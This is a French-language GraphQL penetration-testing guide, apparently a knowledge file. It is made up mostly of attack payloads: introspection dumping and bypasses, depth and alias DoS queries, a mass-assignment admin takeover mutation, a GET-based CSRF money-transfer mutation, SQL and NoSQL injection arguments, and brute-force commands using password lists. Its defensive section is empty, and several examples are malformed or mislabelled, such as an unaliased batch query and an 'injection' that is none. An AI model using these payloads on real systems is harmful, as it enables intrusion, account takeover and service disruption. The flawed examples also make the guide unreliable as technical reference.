| name | graphql-hacking-guide |
| description | Guide complet de pentest GraphQL — introspection, query batching, injections, CSRF, DoS, outils et méthodologie |
| category | cybersecurite |
GraphQL Hacking — Guide Avancé
Introduction
GraphQL est un langage de requête pour API qui expose un endpoint unique (souvent /graphql, /graphql/, /v1/graphql, /api/gql). Contrairement à REST, le client contrôle la forme des données, ouvrant des vecteurs d'attaque uniques.
Découverte d'un Endpoint GraphQL
Endpoints courants
/graphql
/graphql/console
/graphiql
/altair
/voyager
/playground
/api/graphql
/api/v1/graphql
/gql
/graph
Détection via la réponse
POST /graphql HTTP/1.1
Content-Type: application/json
{"query": "{ __typename }"}
Réponse: {"data": {"__typename": "Query"}} → c'est du GraphQL.
Détection via les messages d'erreur
{"query": "{invalid}"}
Introspection — Cartographie Complète
Requête d'introspection complète
query IntrospectionQuery {
__schema {
queryType { name }
mutationType { name }
subscriptionType { name }
types {
...FullType
}
directives {
name
description
args { ...InputValue }
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args { ...InputValue }
type { ...TypeRef }
isDeprecated
deprecationReason
}
inputFields { ...InputValue }
interfaces { ...TypeRef }
enumValues(includeDeprecated: true) { name }
possibleTypes { ...TypeRef }
}
fragment InputValue on __InputValue {
name
description
type { ...TypeRef }
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
Bypass d'introspection
Content-Type: application/x-www-form-urlencoded
GET /graphql?query={__schema{types{name,fields{name}}}}
X-GraphQL-Test: introspection
{"variables": "{}", "query": "...{__schema{types{name}}}"}
Attaques sur les Champs
Query Depth Attack (DoS)
query {
user(id: 1) {
posts {
comments {
user {
posts {
comments {
user { name }
}
}
}
}
}
}
}
Alias Batching (Rate Limit Bypass)
query {
u0: user(id: 1) { ... }
u1: user(id: 2) { ... }
u2: user(id: 3) { ... }
}
Resource Exhaustion / DoS
query {
__type(name: "User") {
fields {
type {
fields {
type {
fields { name }
}
}
}
}
}
}
Circular Query (Depth Limit Bypass)
query {
user(id: 1) {
...u
}
}
fragment u on User {
friends {
...u
}
}
Attaques sur les Mutations
Mass Assignment / IDOR via Mutation
mutation {
updateUser(id: 1, input: {
role: "admin"
isAdmin: true
email: "attacker@evil.com"
password: "hacked123"
}) {
id
role
}
}
Race Condition sur Mutations
mutation {
redeemCoupon(code: "FREEGIFT") {
success
}
}
CSRF via Mutation
GET /graphql?query=mutation{transferMoney(to:"attacker",amount:999999){success}}
Injections dans GraphQL
SQL Injection dans les arguments
query {
user(id: "1 UNION SELECT * FROM passwords") {
id
name
email
}
}
NoSQL Injection
query {
user(login: { "$ne": "" }) {
id
name
password
}
}
LDAP Injection
query {
search(term: "*") {
results
}
}
Injection dans les Directives
query {
users {
name
ssn @skip(if: false)
}
}
GraphQL Batching Attack
Requêtes en parallèle par champs de batche
[{
"query": "{ __typename }"
},
{
"query": "{ __typename }"
},
]
Exploitation via batch queries
query {
batch {
user(id: 1) { name }
user(id: 2) { name }
}
}
Outils Essentiels
| Outil | Usage |
|---|
| InQL | Burp Extension — scan d'API GraphQL |
| GraphQLMap | Automatisation d'audit de sécurité |
| GraphQL Voyager | Visualisation du schéma |
| GraphQL IDE (GraphiQL/Altair) | Exploration manuelle |
| clairvoyance | Reconstruction de schéma quand introspection désactivée |
| graphw00f | Fingerprinting middleware GraphQL |
| GraphQL-Cop | Templates de sécurité automatisés |
| BatchQL | Détection de vulnérabilités |
| CrackQL | Password spraying + batching |
Bypass et Techniques Avancées
1. Introspection Désactivée → Dumping de Schéma
clairvoyance http://target.com/graphql
2. Depth Limiting Bypass
query {
user(id: 1) { ...UserFields }
_fake: user(id: 2) { ...UserFields }
}
3. Alias Bypass for Pagination
query {
a1: users(first: 1, after: null) { pageInfo { endCursor } }
a2: users(first: 1, after: null) { pageInfo { endCursor } }
}
4. Mutation Bruteforce
crackql -e http://target.com/graphql -m login -u users.txt -p passwords.txt
5. BatchQL — GraphQL Brute Force
batchql -e http://target.com/graphql -i login -u admin -p rockyou.txt -b 10
Protection (Blue Team)
Configurations recommandées
Checklist Pentest GraphQL
- Découvrir l'endpoint GraphQL
- Vérifier introspection activée
- Cartographier types, mutations, subscriptions
- Tester IDOR sur les arguments
- Tester mass assignment sur les mutations
- Tester injections (SQL, NoSQL, LDAP)
- Tester query depth/aliasing DOS
- Tester batching/rate limit bypass
- Tester CSRF (GET-based mutations)
- Tester race conditions
- Tester les directives (@skip/@include)
- Tester l'auth sur toutes les mutations
- Tester les subscriptions (WebSocket auth)
Ressources